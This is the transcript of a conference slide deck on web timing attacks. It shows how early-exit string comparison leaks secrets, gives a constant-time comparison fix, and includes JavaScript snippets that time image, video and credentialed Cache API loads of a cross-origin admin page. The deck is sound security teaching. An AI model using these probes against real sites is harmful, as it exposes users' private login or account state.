Upgrade to Pro — share decks privately, control downloads, hide ads and more …

Front-End Performance: The Dark Side @ Fronteers Spring Conference 2016

Front-End Performance: The Dark Side @ Fronteers Spring Conference 2016

In security-sensitive situations, performance can actually be a bug rather than a feature. This presentation covers timing attacks on the web, and demonstrates how modern performance-related web APIs can sometimes have a negative security impact.

More information: https://dev.opera.com/blog/timing-attacks/

Mathias Bynens

April 01, 2016
Tweet

More Decks by Mathias Bynens

Other Decks in Technology

Transcript

  1. @mathias
    THE DARK SIDE
    FRONT-END PERFORMANCE

    View full-size slide

  2. @mathias
    function compare(a, b) {
    return a === b;
    }
    compare('Fronteers', 'Fronteers');
    // → true @ 1000 μs
    compare('Fronteers', 'Fronteerz');
    // → false @ 1000 μs
    compare('Spring', 'Thing');
    // → false @ 100 μs
    compare('Spring', 'Zpring');
    // → false @ 200 μs

    View full-size slide

  3. @mathias
    function compare(a, b) {
    return a === b;
    }
    compare('Fronteers', 'Fronteers');
    // → true @ 1000 μs
    compare('Fronteers', 'Fronteerz');
    // → false @ 1000 μs
    compare('Spring', 'Thing');
    // → false @ 100 μs
    compare('CSS', 'XSS');
    // → false @ 200 μs

    View full-size slide

  4. @mathias
    function compare(a, b) {
    return a === b;
    }
    compare('Fronteers', 'Fronteers');
    // → true @ 1000 μs
    compare('Fronteers', 'Fronteerz');
    // → false @ 1000 μs
    compare('Spring', 'Thing');
    // → false @ 100 μs
    compare('CSS', 'XSS');
    // → false @ 200 μs

    View full-size slide

  5. @mathias
    function compare(a, b) {
    const lengthA = a.length;
    if (lengthA !== b.length) {
    return false; // performance optimization #1
    }
    for (let index = 0; index < lengthA; index++) {
    if (a.charCodeAt(index) !== b.charCodeAt(index)) {
    return false; // performance optimization #2
    }
    }
    return true; // worst-case perf scenario
    }

    View full-size slide

  6. @mathias
    compare('Fronteers', 'Fronteers');
    // → true @ 1000 μs
    compare('Fronteers', 'Fronteerz');
    // → false @ 1000 μs [opt. #2]
    compare('Spring', 'Thing');
    // → false @ 100 μs [opt. #1]
    compare('CSS', 'XSS');
    // → false @ 200 μs [opt. #2]

    View full-size slide

  7. @mathias
    SIDE-CHANNEL LEAK

    View full-size slide

  8. @mathias
    TIMING ATTACK

    View full-size slide

  9. @mathias
    compare($userInput, $secret);

    View full-size slide

  10. @mathias
    function compare(a, b) {
    const lengthA = a.length;
    if (lengthA !== b.length) {
    return false; // performance optimization #1
    // allows attackers to figure out expected length
    }
    for (let index = 0; index < lengthA; index++) {
    if (a.charCodeAt(index) !== b.charCodeAt(index)) {
    return false; // performance optimization #2
    // allows attackers to figure out expected
    // characters, one by one (except the last one)
    }
    }
    return true; // worst-case perf scenario
    }

    View full-size slide

  11. @mathias
    function safeCompare(a, b) {
    const lengthA = a.length;
    let result = 0;
    if (lengthA !== b.length) {
    b = a;
    result = 1;
    }
    for (let index = 0; index < lengthA; index++) {
    result |= (
    a.charCodeAt(index) ^ b.charCodeAt(index)
    ); // XOR
    }
    return result === 0;
    }

    View full-size slide

  12. @mathias
    const image = new Image();
    image.onerror = stopTimer;
    const end = performance.now();
    const delta = end - start;
    alert(`Loading took ${ delta } milliseconds.`);
    };
    startTimer();
    image.src = 'https://example.com/admin.php';

    View full-size slide

  13. @mathias
    const image = new Image();
    image.onerror = function() {
    const end = performance.now();
    const delta = end - start;
    alert(`Loading took ${ delta } milliseconds.`);
    };
    const start = performance.now();
    image.src = 'https://example.com/admin.php';

    View full-size slide

  14. @mathias
    750 ms

    View full-size slide

  15. @mathias
    1250 ms

    View full-size slide

  16. @mathias
    const image = new Image();
    image.onerror = function() {
    const end = performance.now();
    const delta = end - start;
    alert(`Loading took ${ delta } milliseconds.`);
    };
    const start = performance.now();
    image.src = 'https://example.com/admin.php';

    View full-size slide

  17. @mathias
    MODERN TIMING ATTACKS

    View full-size slide

  18. @mathias
    SNIFFLY
    OMG @BCRYPT R0CKX!!1

    View full-size slide

  19. @mathias
    VIDEO PARSING ⏱ ATTACK
    @TOMVANGOETHEM

    View full-size slide

  20. @mathias
    const video = document.createElement('video');
    // `suspend` event == download complete
    video.onsuspend = startTimer;
    // `error` event == parsing complete
    video.onerror = stopTimer;
    video.src = 'https://example.com/admin.php';

    View full-size slide

  21. @mathias
    CACHE STORAGE ⏱ ATTACK
    @TOMVANGOETHEM

    View full-size slide

  22. @mathias
    const url = 'https://example.com/admin.php';
    const dummyRequest = new Request('dummy');
    fetch(url, {
    'credentials': 'include',
    'mode': 'no-cors'
    }).then(function(response) {
    // The download has completed.
    startTimer();
    return cache.put(dummyRequest, response.clone());
    }).then(function() {
    // The resource has been stored in the cache.
    stopTimer();
    });

    View full-size slide

  23. @mathias
    30 ms

    View full-size slide

  24. @mathias
    15 ms

    View full-size slide

  25. @mathias
    THANKS!
    Sniffly by @bcrypt: https://mths.be/buy
    Research by @tomvangoethem: https://mths.be/buz
    Bonus — examples by @sirdarckcat: https://mths.be/bva

    View full-size slide